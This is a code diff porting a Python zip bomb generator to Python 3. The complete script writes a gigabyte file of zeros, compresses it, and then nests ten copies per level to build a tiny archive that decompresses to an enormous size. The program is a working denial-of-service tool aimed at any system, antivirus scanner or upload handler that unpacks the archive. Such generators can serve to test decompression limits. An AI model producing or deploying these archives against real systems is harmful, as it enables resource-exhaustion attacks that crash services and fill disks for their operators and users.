zipbomb.py: major renovation and Python 3 porting

zipbomb.py

@@ -1,61 +1,81 @@
-import zlib
+#!/usr/bin/python3
-import zipfile
-import shutil
-import os
-import sys
-import time
 
-def get_file_size(filename):
+from os import remove, rename, stat
-	st = os.stat(filename)
+from os.path import basename, isfile, splitext
-	return st.st_size
+from shutil import copy
+from sys import argv
+from time import perf_counter
+from zipfile import ZipFile, ZIP_DEFLATED
 
-def generate_dummy_file(filename,size):
+BLOCK_SIZE = 1024
-	with open(filename,'w') as dummy:
+BLOCK_AMOUNT = 1024**2
-		for i in xrange(1024):
+COPIES_AMOUNT = 10
-			dummy.write((size*1024*1024)*'0')
 
-def get_filename_without_extension(name):
+get_file_size = lambda filename: stat(filename).st_size
-	return name[:name.rfind('.')]
+get_filename_without_extension = lambda name: splitext(basename(name))[0]
+get_file_extension = lambda name: splitext(basename(name))[-1]
 
-def get_extension(name):
-	return name[name.rfind('.')+1:]
 
-def compress_file(infile,outfile):
+def generate_dummy_file(filename, size):
-	zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
+    with open(filename, "wb") as dummy:
-	zf.write(infile, compress_type=zipfile.ZIP_DEFLATED)
+        for i in range(BLOCK_SIZE):
-	zf.close()
+            dummy.write((size * BLOCK_AMOUNT) * b"\0")
+
+
+def compress_file(infile, outfile):
+    zf = ZipFile(outfile, mode="w", allowZip64=True)
+    zf.write(infile, compress_type=ZIP_DEFLATED)
+    zf.close()
+
 
 def make_copies_and_compress(infile, outfile, n_copies):
-	zf = zipfile.ZipFile(outfile, mode='w', allowZip64= True)
+    zf = ZipFile(outfile, mode="w", allowZip64=True)
-	for i in xrange(n_copies):
-		f_name = '%s-%d.%s' % (get_filename_without_extension(infile),i,get_extension(infile))
-		shutil.copy(infile,f_name)
-		zf.write(f_name, compress_type=zipfile.ZIP_DEFLATED)
-		os.remove(f_name)
-	zf.close()
 
-if __name__ == '__main__':
+    for i in range(n_copies):
-	if len(sys.argv) < 3:
+        f_name = "%s-%d.%s" % (
-		print 'Usage:\n'
+            get_filename_without_extension(infile),
-		print ' zipbomb.py n_levels out_zip_file'
+            i,
-		exit()
+            get_file_extension(infile),
-	n_levels = int(sys.argv[1])
+        )
-	out_zip_file = sys.argv[2]
+        copy(infile, f_name)
-	dummy_name = 'dummy.txt'
+        zf.write(f_name, compress_type=ZIP_DEFLATED)
-	start_time = time.time()
+        remove(f_name)
-	generate_dummy_file(dummy_name,1)
+
-	level_1_zip = '1.zip'
+    zf.close()
-	compress_file(dummy_name, level_1_zip)
+
-	os.remove(dummy_name)
+
-	decompressed_size = 1
+if __name__ == "__main__":
-	for i in xrange(1,n_levels+1):
+    if len(argv) != 3:
-		make_copies_and_compress('%d.zip'%i,'%d.zip'%(i+1),10)
+        print(f"Usage: { basename(__file__) } <n_levels> <out_zip_file>")
-		decompressed_size *= 10
+        raise SystemExit
-		os.remove('%d.zip'%i)
+
-	if os.path.isfile(out_zip_file):
+    n_levels = int(argv[1])
-		os.remove(out_zip_file)
+    out_zip_file = argv[2]
-	os.rename('%d.zip'%(n_levels+1),out_zip_file)
+
-	end_time = time.time()
+    start_time = perf_counter()
-	print 'Compressed File Size: %.2f KB'%(get_file_size(out_zip_file)/1024.0)
+
-	print 'Size After Decompression: %d GB'%decompressed_size
+    dummy_name = "empty.bin"
-	print 'Generation Time: %.2fs'%(end_time - start_time)
+    level_1_zip = "1.zip"
+    generate_dummy_file(dummy_name, 1)
+    compress_file(dummy_name, level_1_zip)
+    remove(dummy_name)
+
+    decompressed_size = 1
+
+    for i in range(1, n_levels + 1):
+        make_copies_and_compress("%d.zip" % i, "%d.zip" % (i + 1), COPIES_AMOUNT)
+        decompressed_size *= COPIES_AMOUNT
+        remove("%d.zip" % i)
+
+    if isfile(out_zip_file):
+        remove(out_zip_file)
+
+    rename("%d.zip" % (n_levels + 1), out_zip_file)
+
+    end_time = perf_counter()
+    time_diff = end_time - start_time
+    compressed_size = get_file_size(out_zip_file)
+    decompressed_size *= BLOCK_SIZE * BLOCK_AMOUNT
+    print("Compressed file size: %d bytes" % compressed_size)
+    print("Decompression file size: %d bytes" % decompressed_size)
+    print("Generation time performance: %.15f" % time_diff)